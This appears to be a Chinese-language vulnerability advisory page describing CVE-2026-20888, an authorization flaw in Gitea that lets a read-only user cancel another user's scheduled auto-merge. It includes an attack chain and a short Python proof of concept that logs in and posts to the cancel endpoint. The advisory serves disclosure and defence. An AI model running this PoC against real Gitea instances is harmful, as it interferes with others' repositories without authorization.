IPBUF安全漏洞报告
English
CVE-2026-20888 CVSS 4.3 中危

Gitea CVE-2026-20888 取消自动合并授权验证不足漏洞

披露日期: 2026-01-22
来源: 88ee5874-cf24-4952-aea0-31affedb7ff2

漏洞信息

漏洞编号
CVE-2026-20888
漏洞类型
权限控制缺陷
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gitea

相关标签

Gitea权限控制授权验证IDOR自动合并Web应用安全

漏洞概述

Gitea是一个开源的自助Git服务托管平台。该漏洞源于Gitea在处理通过Web界面取消预定自动合并操作时,未能正确验证用户授权。攻击者只需拥有对Pull Request的读取权限,即可取消由其他用户预定的自动合并操作。这一授权验证缺陷使得低权限用户能够影响高权限用户的合并决策,可能导致开发流程混乱或恶意取消合法的合并操作。CVSS评分为4.3,属于中等严重程度,主要影响系统的完整性和访问控制机制。

技术细节

该漏洞属于IDOR(Insecure Direct Object Reference,不安全直接对象引用)类型。在Gitea的自动合并功能中,用户可以为Pull Request设置定时自动合并操作。问题出在取消这些预定合并的接口上,系统仅验证用户是否为Pull Request的参与者或拥有读权限,但未验证取消操作发起者是否为合并预定的创建者。攻击者可以通过构造特定请求,指定目标Pull Request的标识符,利用此授权缺陷取消他人的自动合并计划。攻击者需要知道目标仓库和Pull Request的编号,无需特殊权限即可执行此操作。

攻击链分析

STEP 1
信息收集
攻击者首先访问目标Gitea仓库,识别具有自动合并预定功能的Pull Request
STEP 2
认证获取
攻击者使用低权限账户(只需读权限)登录Gitea系统
STEP 3
构造请求
攻击者构造针对取消自动合并接口的POST请求,包含目标PR的编号
STEP 4
权限绕过
由于Gitea仅验证用户是否为PR参与者,未验证取消操作权限,攻击成功取消他人预定的自动合并
STEP 5
影响达成
合法的自动合并操作被恶意取消,可能导致合并延迟或开发流程中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-20888 PoC - Cancel Scheduled Auto-Merge # Target: Gitea instance with scheduled auto-merge feature # Author: 88ee5874-cf24-4952-aea0-31affedb7ff2 TARGET_URL = "http://target-gitea-instance.com" USERNAME = "attacker" PASSWORD = "password" TARGET_OWNER = "victim" TARGET_REPO = "vulnerable-repo" TARGET_PR_NUMBER = 123 # PR with scheduled auto-merge by another user def cancel_auto_merge(): # Authenticate as low-privilege user session = requests.Session() login_url = f"{TARGET_URL}/user/login" session.post(login_url, data={ "user_name": USERNAME, "password": PASSWORD }) # Cancel scheduled auto-merge for victim's PR cancel_url = f"{TARGET_URL}/{TARGET_OWNER}/{TARGET_REPO}/pulls/{TARGET_PR_NUMBER}/cancel-auto-merge" response = session.post(cancel_url) if response.status_code == 200: print("[+] Successfully canceled auto-merge without proper authorization!") return True else: print("[-] Failed to cancel auto-merge") return False if __name__ == "__main__": cancel_auto_merge()

影响范围

Gitea < 1.25.4

防御指南

临时缓解措施
如果无法立即升级,可通过限制API访问频率、启用审计日志监控异常的取消合并操作来缓解风险。同时提醒用户不要轻易暴露Pull Request编号信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表